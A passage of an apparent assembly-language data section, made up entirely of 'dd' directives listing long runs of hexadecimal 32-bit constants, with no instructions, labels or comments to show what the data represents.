85FC5239h, 0E36C4B82h, 0D8AA3CE5h dd 0A28F3C38h, 0C29C1923h, 440B3A36h, 8F4F0168h, 0D13979D2h dd 7645E8F6h, 0FC19B100h, 85F56FAFh, 14771665h, 0CB890DDh dd 241DFE5Eh, 0F0FDFD05h, 2B4F7E7Ch, 32AFAC20h, 0F5EB0089h dd 0A90937Ch, 642E4A71h, 5B003AF1h, 9430E91Eh, 3DC43C5Fh dd 5622F282h, 8C5CFFD6h, 14207693h, 0BB232Bh, 0FCE153A3h dd 3B90F08Fh, 87DC071Fh, 50899E40h, 38FFDDh, 0DB8506D6h dd 10F40E6Ah, 6C0FBD06h, 22C0C7D3h, 6318DCDFh, 0F2692AD4h dd 0CC4C003Ah, 0E4D71304h, 891E484Dh, 9D809F90h, 64342CAFh dd 173F0BBh, 28D5C5DAh, 0DFE71029h, 85A899E0h, 9A76660Eh dd 30B196E2h, 8200307Dh, 8CA92D1Ah, 9324DA31h, 61E9005h dd 4BF7DE80h, 0A470BCh, 0BD332F4h, 0BDAC8BDCh, 4AE3A1Ch dd 672ECC40h, 6062C278h, 0F0DD3890h, 0DF000F6Eh, 1F883171h dd 3A495FC7h, 4680A295h, 8DEBFDFAh, 780E895Ch, 800DAFE8h dd 0DCD666C1h, 16AD0009h, 1EEB889Ch, 5140DB80h, 0E62E18A5h dd 55D41803h, 3093650Ch, 1F23A87Eh, 40A860F9h, 0D824127Fh dd 47588C9h, 27E9E30Ch, 11A01Fh, 0AD0D9A57h, 78646FAh dd 83302375h, 15064039h, 51D9600Bh, 59BFD2D7h, 54A1AA00h dd 6B719B83h, 6D1700DEh, 7BA001D9h, 0AA072114h, 182A29C3h dd 0A9DD24B0h, 0C56200FDh, 569991A8h, 0FB004AF2h, 0F1871ACDh dd 7C8F1EBDh, 59E30FCBh, 8400C006h, 0FC26BBF6h, 22BCD00Eh dd 2FBDA08Ah, 0AE570F75h, 30867814h, 0CB3025C3h, 8638B19h dd 0F68838h, 0C7F17658h, 0BB10872Ah, 994A1C1Dh, 0B901F83h dd 0F580F7CBh, 0C0492EC1h, 10842F18h, 8E0E28D0h, 9B20CB0Ch dd 0F8283A80h, 0D732D07h, 55940CCh, 78C32ECEh, 0C8322C2h dd 0CC067831h, 2429CD59h, 0FB940C8Ch, 0BEFC8084h, 0FF4871Ch dd 58B2FC6h, 0E3781E07h, 29FE23C7h, 161CFB01h, 5C92C8FDh dd 60152AF8h, 1F991861h, 0AA0C357Dh, 31F8FC5Fh, 261600E5h dd 9F972309h, 19C0289Ah, 81C60DACh, 9B140E6Ch, 578027DEh dd 5AB56889h, 0F447CBA0h, 9722FC01h, 0C2877CE5h, 6AFA5887h dd 81AF6056h, 1A2632D9h, 0C9302AB0h, 0FBBCC3Bh, 82A50304h dd 1A86F30Fh, 6F20A998h, 729F1DFFh, 7E67023Bh, 0C0E9C2Eh dd 0A119E1C0h, 0D6105718h, 68DF1C32h, 98010CE1h, 4134D831h dd 2C0719A0h, 8888257Dh, 3C3F5B7Fh, 0B9405458h, 2887F681h dd 4CE078F3h, 59C796B8h, 0BC0A1972h, 0C0083E0Ah, 0A0EFA986h dd 4B013030h, 7D0C2E59h, 9AC8CC50h, 409B4530h, 735E26h dd 0DB972171h, 604A12B4h, 0B0FBFC06h, 0F5106DAh, 736EA5BBh dd 799A2566h, 6CE45C06h, 303049ACh, 9CB99E03h, 0FCA8D815h dd 0A338BD7Fh, 0A426AA09h, 0E2F12F60h, 0A1118E16h, 0F18359F8h dd 92B5851Bh, 2A71310Ch, 0F75B8001h, 0A8A64C42h, 0A8088458h dd 0DC588E94h, 5C9811E1h, 0ADBF1001h, 61F33046h, 0F9683E30h dd 0BCFF18C5h, 23544C14h, 0B26411D8h, 5EA484E6h, 2B947923h dd 0C6880C21h, 0C4B8CC69h, 0BC41242h, 5C444862h, 0B5116143h dd 46AC82CBh, 0DC288715h, 1E9055C8h, 21D4F488h, 2444A509h dd 3FECCC23h, 0A2BCA110h, 1A64112Ah, 28B3A584h, 7C468438h dd 0AD0D9A1h, 14114721h, 9642ADA8h, 0EC425088h, 0E5881FFBh dd 9B09CEBFh, 6C445C92h, 4930DA4Ch, 20DC860h, 11F9E7F3h dd 870D6044h, 617072DEh, 8C4C40BEh, 0E703FF22h, 0EA7013E0h dd 0C584215h, 1E7CD726h, 2460203Eh, 66522E91h, 6CD64D7Dh dd 7E102F31h, 7B219319h, 92A88C44h, 28D2D0CCh, 8974162Ah dd 0BC32A950h, 0FB09B030h, 40C82194h, 4BB482AEh, 0A090B589h dd 98A66372h, 41C0F0A6h, 0B9E25C58h, 80B07601h, 21009BCCh dd 2DC80F8Eh, 3C9081Ch, 76F67828h, 0B9A38A23h, 0CCCF77A0h dd 93882900h, 0F4594565h, 76D107BDh, 121CC906h, 0C4C0BF05h dd 190FCAB9h, 9D770C81h, 0D1BE0D03h, 24102C80h, 20013EC4h dd 1AC4F285h, 0CCDC611Ch, 0B83CB988h, 3AFA3E78h, 3E60DC22h dd 0C909972Fh, 0BA0B0001h, 84494E24h, 81FB041Ah, 852FA7FDh dd 52EB420h, 1DCF074Eh, 0A91828FCh, 149A0B25h, 0A61A0E7Ch dd 9BB23AE4h, 0FDC1136Ch, 9D85D441h, 287089CEh, 0C25717ECh dd 8C50046Ch, 0FE8700B6h, 736416CCh, 0F352302Bh, 0AFF48280h dd 86B17003h dd 0B94E95FFh, 447057C8h, 843F8021h, 83C79D00h, 550CA0C0h dd 8518C125h, 0BE91FCA5h, 0D8292E70h, 0F30C4020h, 0E97C1A56h dd 0C09B1D81h, 0BE253CF1h, 4C162083h, 0C9E26AA0h, 7E7CE655h dd 2B8FE1B0h, 417C5BF2h, 64FDB4E4h, 2E16ACF4h, 78196B15h dd 26C85268h, 4EA980EBh, 0CAB1DC80h, 81BC74F8h, 459E6CE5h dd 1040BE60h, 9C4052FFh, 3D2E19ADh, 480E9023h, 0D952F3D4h dd 0A338818Ch, 301EBC2Bh, 0B91A804Fh, 88C850ECh, 0F8B903h dd 2EB1DBE1h, 0A9205F12h, 0AEF8FAh, 62D8405Ch, 524554E5h dd 8C59292Ch, 481EFE45h, 4E6A4832h, 9132782Ch, 62605C64h dd 431B0449h, 0B7F867h, 0B3E12592h, 19C4A29Ah, 28BEE504h dd 0E0B977h, 20C81EF8h, 2CBB1D8Dh, 80FB6578h, 0C5068964h dd 77F854B0h, 0EC6B3E00h, 0F58B2576h, 2CE305BDh, 30DE60AEh dd 0BE131544h, 75D93302h, 98D8DF0Ch, 0A569C04h, 7609DEFAh dd 208480Ch, 0BEFC814Fh, 31F10C85h, 49654630h, 95FCC008h dd 0CA28B086h, 74AC0E64h, 0CAB2F940h, 651C8209h, 0BE083274h dd 9648112Bh, 0E610345Bh, 52EA3AF8h, 79408C10h, 0D009C88Ch dd 82920B4h, 4042BF1h, 0F33B270h, 9C6E1302h, 43B25AC2h dd 1C3D0C90h, 50808CACh, 0F0356746h, 0A425289Ah, 229C50D3h dd 96449509h, 12988997h, 48922491h, 22949193h, 0AFAE44ADh dd 0A912B089h, 0AB48AA24h, 0A524AC91h, 0E953004Ah, 0E75842A8h dd 0F43DAE29h, 0FFB82719h, 9829844Bh, 0DD957504h, 0FC0A0008h dd 22DAB69Ah, 9572BF99h, 2A89FFF9h, 0B89FE058h, 25F27F01h dd 70DAC79Ah, 79C1D5D1h, 0A1C1DDE1h, 23C0E5F1h, 18CD7099h dd 407E26F9h, 1005A0Ah, 0F25FB894h, 25599A8Eh, 48354331h dd 0FF04A1FFh, 0AC2764D5h, 6C4AC088h, 0FC4DA7EBh, 0D6E18BE1h dd 0B0384AF1h, 220B852Ch, 0F10641A7h, 0EFA90C75h, 14EE4509h dd 0EA042F38h, 47FC0BAh, 1A9DBBDh, 0F3600C21h, 8B571644h dd 0D6BF4E21h, 36805734h, 0BBEF1A59h, 73DA1F5Ch, 0FDCD0C30h dd 0D8004218h, 1631FA6h, 50E5A575h, 0F8AE1CFCh, 2389026Fh dd 27D29F58h, 54062890h, 0CE44CBDh, 409AD55Bh, 0C172A9B9h dd 0ACF13881h, 1ED26CF0h, 74DF08Bh, 60FC45A2h, 0EC8E1CC6h dd 59009B78h, 851ABA0Fh, 74F29A0Bh, 20BE0066h, 1CABF678h dd 0C203078Ah, 56DA851Eh, 0C8FAE04Fh, 0F6573A2Dh, 0FC812B06h dd 0D87480BDh, 0FA0C6EF8h, 407628CAh, 5770078h, 0F6124BEh dd 40A422BDh, 761E2FF0h, 3900BBF2h, 901D9A99h, 0A6CA78F6h dd 66F11E30h, 852E0A0Dh, 0FA64611Ch, 3F5610C4h, 0CB0F1D8Bh dd 0AC0D0A2Fh, 55EC4860h, 0A4E8C797h, 84CB3783h, 570C71C0h dd 66BF18ACh, 8D0101A4h, 0D20C4DEEh, 0C230222Eh, 811CC910h dd 49EECCC4h, 2B15B2F0h, 38FD4Eh, 0CF601656h, 900E3AB2h dd 9420B910h, 4070A414h, 1B2FDFBh, 0C2D85FE3h, 0D0FA5A22h dd 0F8A88B15h, 0CF130C8Eh, 9C2A37EBh, 18AB00EBh, 459DE557h dd 0A7F0006Ah, 0CBB6FC4Dh, 2037715h, 0E852DCCh, 0F55FF08Ch dd 0A1009AC8h, 288360D8h, 0B30C44F1h, 0D09880C4h, 0C7017322h dd 0B88168Ah, 40302BC2h, 451524CCh, 76DD02A8h, 2066CBFDh dd 1DB26CA0h, 0CCF28A12h, 2250EC19h, 1A7B7423h, 9076E488h dd 5D04177Dh, 0DC3609h, 0CB108E30h, 95409D1h, 965520BBh dd 0B858AB98h, 3A812FBAh, 4E3FBE07h, 325A693h, 501CCBD0h dd 8F20C5C0h, 752F40C4h, 77D1C0C0h, 0E2DFAF1h, 2CC8021Ch dd 8C80109Ah, 88216593h, 23C20E05h, 70800C81h, 0E8C80559h dd 4877F043h, 0C60CA022h, 2E107828h, 1C608462h, 4AC4381h dd 24C20558h, 0D8C6AA85h, 79770E40h, 218C068Bh, 1B7876C8h dd 0D7D45A95h, 9894EC60h, 952EC1A0h, 0FAF7D059h, 8A1EF894h dd 1C17BE09h, 75E3D460h, 0D1BB1601h, 20603787h, 0C3FA6CD2h dd 0C121C71h, 0B8742FCEh, 74B08FABh, 0E355EEFDh, 21C7F884h dd 3E0F7A85h, 30617120h, 61BF058Bh, 70DC7F7Ch, 0D70C9ECFh dd 0EC360BF6h, 0C4201EBDh, 0C1F88E3Ch, 0E485232Ch, 6CFC1CE2h dd 9859580Ch, 0F58C2D0Fh, 3C851D9Dh, 2863203Ah, 204D772Ch dd 8C826C4h, 0C09FA19h, 94C4C2E2h, 72DC98E4h, 1EC0B22Dh dd 2EC1AE22h, 0DDB11D20h, 1C313E75h, 0F08B2E69h, 0CE825BBh dd 0C71F20B9h, 0F692C29h, 0B3809B3Ch, 34D84805h, 0B58D133h dd 0E8B1FD0h, 602CC73Eh, 0AE21E3B0h, 9018A6A8h, 0E0732F50h dd 60D70CB7h, 1684FD5Fh, 84206B5Bh, 43742C85h, 7CC4D3F5h dd 0E12C182Fh, 9E0580C8h, 0CB0F852Ch, 3F7D50B4h, 19ABF601h dd 60BB0575h, 0A75D0FD8h, 25C20264h, 0ABBDF885h, 50F86640h dd 0D1509Dh, 0D2A1E938h, 22C90B64h, 0CF2520B8h, 89F0D619h dd 44E00184h, 2813CAFCh, 3CC80F8Bh, 40D4B41Eh, 781D9F99h dd 2BC4D600h, 23C80B81h, 2EF6788Dh, 28C562Dh, 0C2FB5928h dd 0A6DA90E0h, 0D67C4875h, 2B50C082h, 21F26084h, 8A2DCEF6h dd 13BBFA3Ah, 50D21081h, 6C85BBDh, 688C4357h, 0EE674E17h dd 8059E00Ah, 0BB342F14h, 0EC853F25h, 4250F72Dh, 2F90F834h dd 90B8CC10h, 0F285939h, 0B90EF0BBh, 80614299h, 108A309Dh dd 72D10CC9h, 0BD21C1F1h, 0B782909h, 90117FBAh, 7430381Ch dd 0F160E0B6h, 1C0526Ah, 0FD6F0D1Fh, 0E061FB17h, 723A234Dh dd 507C7D24h, 22F21C01h, 56FB05F6h, 5AFF2080h, 610313F3h dd 0F1031AE8h, 0F8110F54h, 0F201A06Fh, 0A106F46Bh, 3F0D283h dd 30F31D50h, 1A183EFFh, 102228FDh, 263E0B74h, 13FE00F2h dd 1AC75D40h, 620C0F4h, 2FD5EE8h, 40C4D1E5h, 5F322A7h dd 0C307FF74h, 0C05CFB13h, 0DF036040h, 0C01D7C3Ah, 0FD55F210h dd 10F402Bh, 0F61FCCh, 6BFE4DF3h, 72F1F5F9h, 0F288D8B0h dd 5074F110h, 551D4D06h, 784011F9h, 56221CFBh, 51F507FEh dd 108539h, 6FED0280h, 57007B3Bh, 0EC1FFE61h, 6111C263h dd 0F1076040h, 0FFD09F02h, 3610183Ch, 64401E28h, 0A5EE96Ch dd 6D4058EDh, 0E86FC260h, 8C3635Ch, 3000712Dh, 4D3B5BF2h dd 0C46AECh, 0FF634010h, 0C26BF41Dh, 0BEE9027Ch, 78612988h dd 0F91D8124h, 0C354EF05h, 0CC22C807h, 0FD6B0EC0h, 0CD63F811h dd 1C017E8h, 54C054F0h, 0EB042F44h, 7A349C0h, 0E500DAD5h dd 662273E6h, 18C2FA67h, 295D85DDh, 0A20B7840h, 37EDB0Bh dd 300EE37Eh, 22214908h, 5000A270h, 62079092h, 182BAFh dd 98495E64h, 61CD60E2h, 35A0F806h, 1881659Bh, 89C0DD7Ch dd 0E00C219Fh, 380AF7A7h, 7AF000C2h, 723187DDh, 6F1DCC59h dd 0D2984B11h, 40299A48h, 0E618E461h, 0D7B825E7h, 0DEAC00A7h dd 0B06ECC5Bh, 0E20C7A05h, 20332FAEh, 165E0A60h, 78200D3Dh dd 288CDBBFh, 4688ECBCh, 0A26402D1h, 315EDB0Fh, 7C1E104Eh dd 126300A2h, 96F871E7h, 0D5F4AF49h, 0C9F1CC60h, 0A85CCEA8h dd 548BCF8Ch, 70AF981Fh, 1AEB2A0Dh, 21D100D4h, 0B2E3288Ah dd 0D60A3FF9h, 0A3B7D5EFh, 7CE28C20h, 352CD950h, 28F09952h dd 5922A002h, 5B16034Bh, 5356A841h, 0EC6D7800h, 0D530DF31h dd 1CB45082h, 3C775FEh, 0C55E7ABBh, 288C0853h, 0F1D68333h dd 89B76000h, 61CBB570h, 798C006Ch, 217FAAD7h, 3B0C1FD9h dd 885DC9BFh, 0FEAD069Ah, 78381D98h, 12673CA0h, 91583782h dd 4682ACBEh, 6BAB02BAh, 826D4C04h, 837F01B0h, 73F7858h dd 0BE9F3039h, 0A7B19003h, 0FD003654h, 2ABB29FBh, 6CD98h dd 6C87B333h, 7B9F77B4h dd 7FFEE40Dh, 0B882E0C1h, 3B17F605h, 0D99178BDh, 0D0AE6BACh dd 4F4F864h, 0AEA83C90h, 1D49147h, 78376F68h, 22418FCEh dd 4B0660C9h, 335C41F3h, 3A082343h, 0D10C2100h, 0D72542A0h dd 0FCBF489Eh, 80319210h, 0B13CAD43h, 0F4C348C6h, 60864DACh dd 0CE98F96Ch, 6502A937h, 0CBFE6167h, 0D2CC4135h, 0A2087918h dd 0C466DB08h, 711D4348h, 49F0EFA2h, 24D5B13Ah, 4489B89h dd 14594485h, 0D1A909A8h, 10A01775h, 59BDC43Bh, 4746FA0Fh dd 0BC81E00Eh, 232CEADh, 201C1F80h, 711074F3h, 8420B753h dd 8561BADCh, 0F1D18056h, 0BA26191Ah, 875F001Eh, 8B042263h dd 0CA18D547h, 0C029509Ah, 0FE5CEAAFh, 890C00D4h, 497633F3h dd 7024B6FCh, 0E6844CB1h, 9E01299Bh, 7A584Fh, 39601BD2h dd 40C94772h, 81084D00h, 2E1CFAD4h, 9E26333h, 2D210074h dd 8C3A8110h, 0E50CE75Eh, 58CF1BD6h, 0CDBF10DBh, 0FDC70F53h dd 0E294A301h, 1314C069h, 0B1C50AFCh, 21B05FCEh, 1871713Ch dd 0CF520A53h, 9CA01527h, 502B18E1h, 38B1E07Ch, 6C704803h dd 827FA293h, 177BB8h, 6272984Bh, 86A730CFh, 61865F7h dd 33FE9A7Dh, 0F800C837h, 0D061DDCCh, 61A2982Bh, 0AE6C3040h dd 0EB02EEA7h, 205C4810h, 699A0092h, 0FAC11A8h, 7B3DA547h dd 48E780AFh, 1446C361h, 319972E6h, 78601BFDh, 7EA98037h dd 0B23346A2h, 75980012h, 0E6B85D01h, 0AA2090C1h, 0A7255h dd 0CB9BEDF3h, 0DB36FD25h, 58E44F14h, 0F61474B4h, 0A2ECCDA3h dd 875C4022h, 1064607Dh, 523805D4h, 40A99F2Ch, 87006511h dd 0FC9D1C9Ah, 671D6199h, 9C0402F3h, 0EC006689h, 9DFA0FB2h dd 4FD77706h, 1C182AC2h, 5489E2C1h, 0EB18B404h, 0D4725166h dd 17A30B09h, 7D0803E3h, 0E6A90B4Ah, 409FCA77h, 85804411h dd 1D752407h, 4320FB0Eh, 919B0051h, 5ACAA5h, 14BBDECh dd 8C032CA7h, 5BBEE114h, 983928A0h, 0C7D1B060h, 58F8449Ah dd 0E710CC55h, 884C520Ah, 8101C07Dh, 0E446FACFh, 24007522h dd 327D8109h, 30B30E48h, 10B9579Ah, 35008E49h, 0CDB7DEF7h dd 244260D3h, 0C05C9741h, 63BBC7FAh, 1B442C92h, 87786Eh dd 53F97FECh, 0B5BA63CEh, 9A5CC51Fh, 59656130h, 0B7D116EBh dd 4FB40493h, 83E30035h, 140EFBECh, 18FA1EC2h, 0F5B7DB05h dd 0A184014Dh, 96CB97E6h, 10041E30h, 5035AA6h, 0ABCACC4Ch dd 2944E4C0h, 2674DDE9h, 0A0353E80h, 10689067h, 619AFD7h dd 485AB04Bh, 0DFFE3948h, 3C1834B6h, 0C0F3A634h, 1FE34CC1h dd 7EE03184h, 58850553h, 0FA325401h, 2BECB040h, 0B7630901h dd 642A4815h, 310DC7DCh, 10288FFEh, 77CB1E0h, 738485DAh dd 0D66E61FCh, 0D55034C7h, 8069BF2Ah, 0D4C89848h, 1DF2348h dd 0DB35A27Ah, 8845180Eh, 0A2007220h, 0FC15386Bh, 48A85023h dd 0E86784DDh, 0D5D82DFFh, 23282257h, 8107017Fh, 18F4FAC9h dd 0F268876h, 3DD8104h, 14D1C97Bh, 6AC0A6EDh, 0F8F3058Eh dd 70DF8B30h, 0E3077084h, 0E98D300h, 0BDB1D1F8h, 805499DDh dd 73D2B244h, 0F2072EAAh, 5C9315D3h, 97AFF331h, 157B06DCh dd 986FE2C5h, 7E058782h, 4B513F14h, 0E21E59E1h, 0DA8C5162h dd 55BDD0DEh, 5CE9B712h, 3B1BFC21h, 80307B01h, 0A43D4AD1h dd 26DDC18Bh, 27C851h, 0F499CEDEh, 0D2904846h, 0E0887F54h dd 8317DD00h, 5D785F37h, 420300D0h, 6CBD163Bh, 26E16A9Ah dd 0E81428F8h, 7B02DC46h, 76DB0AA2h, 23104F31h, 103A273h dd 5AE02BA1h, 0A8484034h, 0F7F41FE5h, 42845DF8h, 326F696Dh dd 0D4049CECh, 0DB4B0BA0h, 3203B62h, 0BCA0DCh, 35D33928h dd 43AEE5A6h, 20883051h, 7D44E1B4h, 9B5A0894h, 0BDC21E21h dd 0FA00C02Bh, 0EA12156Dh, 0F00BC63h, 0E4789D0Bh, 0CE1B3C31h dd 0DE0821ECh, 332D0021h, 0DBC7B29Dh, 0FA008206h, 0EDA363BAh dd 9DDA293h, 0FEDA5BF2h, 0C2C31C82h, 0A6F5D501h, 19050C33h dd 20306F68h, 5A0CA78h, 11CB4B23h, 0D201003Eh, 0A84BC9A0h dd 0C9C66h, 4D96E05h, 0B71AD5E4h, 0B0D842F9h, 60E86FCCh dd 0ACABB91Ch, 0AF00B4ECh, 0D08B0977h, 0B1306EEh, 9EE4EB6Ah dd 0EC40A432h, 51C05B88h, 0D9BF2DBDh, 1F3C9148h, 0B7D93013h dd 7C99400Dh, 0C1851D40h, 4D87372h, 0B4F169C7h, 71D882A8h dd 11810530h, 8804FACBh, 0D208077h, 79A47C81h, 8051820Eh dd 3C707331h, 877BA1B7h, 6580D611h, 46DB0CA2h, 19587094h dd 0DCA2007Dh, 2A6596ADh, 0C163B73Bh, 7B44F1h, 0AE9A1D91h dd 5C79BBA1h, 266DFB13h, 73D8BC19h, 81080B18h, 7014FAD5h dd 81091322h, 82BFBB73h, 535E68h, 6B45AB07h, 0F03409Bh dd 0D8FB6F9Ah, 90D613C4h, 233461Ch, 4B0AA0D5h, 172731D3h dd 22A0DD00h, 5BF400F8h, 0B0DA76AAh, 0EF16792Ch, 0D02938B7h dd 4A88640Ah, 475944C0h, 29B82EC3h, 65A50A4Ch, 181053C8h dd 0E41E7E19h, 50C150FEh, 0CFF09BC0h, 4F292761h, 5045848h dd 0CA37FFB6h, 782302C0h, 0C905E3A7h, 7A08EF98h, 400BD73Bh dd 99C3096Ah, 0F0049B72h, 9D08600Dh, 9E42379h, 0F0581411h dd 6A979D00h, 0DB8CE19Eh, 77CFFA0Bh, 1324A439h, 197B5A40h dd 0E30EFE51h, 0C3998E4Fh, 8857C537h, 2BFB857Ah, 0B0CA82h dd 0B20C9BE2h, 54BB1C7Ch, 74D18C29h, 0C6127518h, 0D0095AF3h dd 0DB14907Bh, 3FF13F84h, 289416h, 503081CBh, 0CB1FFCDFh dd 7E14B4E9h, 40C039B4h, 597D6144h, 0F052BE57h, 9BE00F5Ah dd 0FBD5CB00h, 16761C1Fh, 510D0127h, 0A507739Dh, 2902DDF3h dd 446A9E8Ch, 948DCF03h, 88CA9169h, 730FA19h, 68D3E1FFh dd 5DC780C1h, 6A05038Fh, 82EE3B86h, 902384DDh, 0A53039A2h dd 7B263A29h, 37C64601h, 34C5B733h, 0D5CCF10h, 60151054h dd 9BF69A04h, 2B0300C9h, 0A15D5EA8h, 146602C8h, 38B9B041h dd 444B45A0h, 61789C40h, 1E13096Ch, 406A5F4Ch, 12679D82h dd 0F11C9ABAh, 978192A4h, 6283DFFAh, 3F886C4Eh, 0C69CFEC0h dd 429300F8h, 0C865ECA8h, 51136D61h, 0F490924Eh, 82D903E6h dd 4B44D467h, 1A7D0067h, 0AD06B077h, 0DF7CD672h, 62605C21h dd 9FDB6205h, 8FAC97CDh, 5443FE80h, 0D8D82920h, 831DEFE8h dd 599E91F8h, 79047C92h, 4B0B917h, 319678C1h, 71E23833h dd 41B6630h, 0A691B661h, 0DF20E448h, 0E4433F40h, 870E1F14h dd 4BCE0601h, 0B5EC183Ah, 28B69C7Bh, 8A30DF08h, 80A019EBh dd 0AC17378Bh, 5B1FA9C9h, 0E945B2ABh, 0B0B3D982h, 1F645DE1h dd 2E645D84h, 0D5B89A04h, 0DF70DB82h, 65FC9901h, 0C870432Bh dd 45BE2480h, 0C026C7E8h, 621330A1h, 23AF27h, 94AC6AF4h dd 0ECB10998h, 70B193A6h, 159C2695h, 0DC7044h, 0E9AE1D6Eh dd 156851Fh, 0E6905B79h, 0F1A3E5EDh, 2449D9FAh, 7C05A1B4h dd 72EF23C5h, 1381492h, 32E63509h, 10004CF4h, 65246D03h dd 0C5A03D7Ch, 0ED7B3B7Dh, 6DA680C7h, 88483A38h, 8C49E8h dd 0A925CBEh, 0D489D507h, 0C843A496h, 89F88DAh, 0C33502F0h dd 5B4D87D5h, 0AFFECE00h, 9848B0A0h, 6AAE1250h, 3D900909h dd 0A0D7FC30h, 234B0813h, 1F026838h, 40F4A0DFh, 3B3526A4h dd 0F494E383h, 221C040h, 4BDF24C7h, 432E0079h, 5C9352A7h dd 0EC13A798h, 0F405BD6Fh, 0BC8860DCh, 28413Fh, 5A6C8DD4h dd 0E00977F8h, 461CEE8h, 0B059088Ch, 9C81836h, 0FB4B07A0h dd 0F87C845h, 0CFB0A0D0h, 1DA70A3Ah, 8057AAE8h, 0DFA42F97h dd 7B186F1Ch, 0EB31C35Eh dd 489212h, 7AC95D94h, 0FAF64570h, 5D96100h, 0A2A1B0BFh dd 7BDD0491h, 8164EBE0h, 10602BC4h, 0AB12E61Eh, 52EAA2C8h dd 91521C74h, 0BF9A8057h, 52F3417h, 3F23FA00h, 45EE047Ch dd 3C249266h, 0BE04141Eh, 837B0AE8h, 65E22EC8h, 40E03501h dd 8DF82981h, 21A6A841h, 22BC2274h, 3BAEA113h, 0B99D424h dd 5943B04Fh, 3C802CEAh, 0C16581D3h, 3485F92Ch, 124D2608h dd 1EC40197h, 82CF0CE1h, 0D1873530h, 0E6604863h, 32F096A7h dd 0C05B6D89h, 86306671h, 0C0B21DECh, 0D4AE05FCh, 797448D9h dd 5C8000A8h, 562D9849h, 0DE8384Fh, 6BAC381Eh, 7C08E183h dd 66C11FEEh, 50433C2h, 12CFC75Ah, 583D24B7h, 43385B96h dd 4D9A5C10h, 1677A900h, 5506D06Ch, 9DC400E6h, 3E713074h dd 7604EA42h, 5B225DDh, 0B31774BDh, 136C8250h, 4ED97CD1h dd 0E805AC18h, 0C3E605FBh, 2A0DA0A0h, 0DC61EBh, 0F5FCEEE5h dd 43936C96h, 0C9E6761Dh, 0DFFEDB41h, 0C8833C17h, 3592884Bh dd 7B3DE00Ah, 8E83A0CAh, 9A3C476Ch, 98F0D06Eh, 0C45A4992h dd 10CF407Dh, 0C692CCA0h, 0E6998704h, 0FE00D053h, 10A55898h dd 3DD1C491h, 3C75C618h, 87DB111Ch, 6EC882EFh, 74872F6h dd 75548CA1h, 9AB09142h, 0E0C08251h, 0C06B369Ch, 0A9EF6ACCh dd 8EDEC584h, 0F8119EB0h, 71ECE028h, 0F8C86E72h, 8939BC47h dd 254310C9h, 3D283730h, 0BC648B05h, 948466A4h, 0C86B6914h dd 980D202Ah, 249E0C98h, 49465Eh, 0D4CE4C60h, 0F973A77Ah dd 0E2A8D850h, 0EC40823Bh, 0BD7229F2h, 5FDD7C80h, 8B9C17A0h dd 0C026C8E4h, 8D35368Ch, 72A98202h, 50B677FFh, 6A232C6Ch dd 90EA1608h, 98AE21Ch, 3E47B000h, 7603C437h, 542F00C5h dd 0AFD082B2h, 7D26679Bh, 0C9400044h, 1462F56Bh, 0E87B3E5Dh dd 9CC0A314h, 23E82F5Eh, 7E3E44h, 0BAF117D1h, 7B82DAB7h dd 3580D254h, 384BE14Bh, 3A88E885h, 0E86A01A9h, 0A21EE779h dd 41BBD072h, 5F1F8F76h, 0B5416873h, 0D5E60801h, 2F497C48h dd 0BC0BEE90h, 88A0CC0Bh, 4D66B0CBh, 3CA40894h, 2D082A15h dd 110C1768h, 93458039h, 1B86BEFh, 0DB7C5EE6h, 29624DB7h dd 0B66F025Ch, 80546691h, 82A8C934h, 463CA43Fh, 0A0097534h dd 0C5EB4B01h, 0D60D80B4h, 0F3DF3FA0h, 0FC24F600h, 17A3C068h dd 9ECE73E4h, 69640198h, 50599A6Fh, 6CEC6EA8h, 0A0ED200h dd 53DFFA43h, 129C991Ah, 0ACF48146h, 602FFDBDh, 0F6909D3Ch dd 31A7DB09h, 37EC107Dh, 9FE28333h, 0E201545Ah, 0E0326195h dd 70AC6336h, 24933BF4h, 0BC480E7Ch, 92885B6Ah, 0A208C13h dd 0E47B9D08h, 4316C439h, 0BF9D322Ch, 0EC560829h, 8148F608h dd 0F2E04B93h, 43A4483Bh, 0B2EA4C0Fh, 6C1038DFh, 4C63909Ah dd 0DB1384C2h, 1EE02023h, 0E88B5CE2h, 0D04C6C9Bh, 0B314A018h dd 0C1041427h, 0C1F4A2ABh, 1D93F98h, 0C891736Fh, 9D0C8709h dd 0D1E9E4F2h, 342660E4h, 1A001C9Dh, 99B6B5A1h, 0C4234779h dd 1CC05398h, 4EB89B00h, 30DC44AFh, 38A1529Ah, 0C100885Ch dd 548211Eh, 15DB83h, 8C9FA81Bh, 0D49B3E9Ch, 908C024Dh dd 33EEE9B4h, 7F4D6C01h, 8020CF49h, 0B3803C78h, 12AE787h dd 0A1C18903h, 0F04C31EAh, 235FC29h, 0F21C43B9h, 444E3F9h dd 0F88060E4h, 0D33F4AA7h, 0A59FB194h, 88CCB0C8h, 100CE524h dd 0CCC8708h, 59397244h, 0DE9E730Eh, 2B902046h, 2EBA4C34h dd 9534B43h, 0E0858969h, 2A3482E5h, 0CCCFD891h, 0F6043AFh dd 0A981370h, 20B49C3Dh, 90494A90h, 1747E6B8h, 594FDB80h dd 7424000Ch, 4588281Ch, 80A8B84Ah, 6210AE47h, 3DEFACC1h dd 5EA01E21h, 9F5B6D09h, 24902EF5h, 0E8CE5C1Bh, 0C8C13B88h dd 3CCC5E92h, 0F91E184Fh, 0B6516154h, 18CC2A95h, 892B8308h dd 9C909935h, 0E488529Ah, 0BCC300D3h, 1AD41541h, 30001F1Bh dd 422C9B3Ah, 1EA24AA5h, 42032DB1h, 0DF9D12Bh, 0A6738CC1h dd 8D08E459h, 0B0DF1F7Ch, 5CCAA954h, 42C6348h, 4B5187D5h dd 0E0C4348Dh, 0B43250F6h, 0C3FA000Bh, 0E53A9CECh, 0B0B37F87h dd 41B2EF0Eh, 460691C5h, 20D830A0h, 2B0805C7h, 948BE88h dd 0B4A3D49Ah, 0BCBA82D5h, 477CF45Ch, 17B3F2B3h, 83CFF884h dd 382014B1h, 0B180C0B4h, 0A84F9992h, 729C8995h, 40474E90h dd 0D82A3F54h, 330FF1D0h, 227F5773h, 40E2EFE4h, 1E11C9E7h dd 0C10D4Ch, 0BC89891h, 53028551h, 40EDA805h, 41AC82BFh dd 1E6CE75Ah, 0CE8B0CE5h, 0FE3EF810h, 0C5A0824Bh, 543B86B1h dd 5C8CEFECh, 0D442BE8h, 71BB2EE1h, 0C9A0ACB8h, 37A70082h dd 0F0825500h, 0FAD52678h, 0C5E70890h, 5318101Dh, 0B06E4760h dd 0E26C01C8h, 655F5B55h, 1AAAF3A4h, 87D04A09h, 1C883208h dd 0DD19B146h, 5A10E0DAh, 0C2E18D16h, 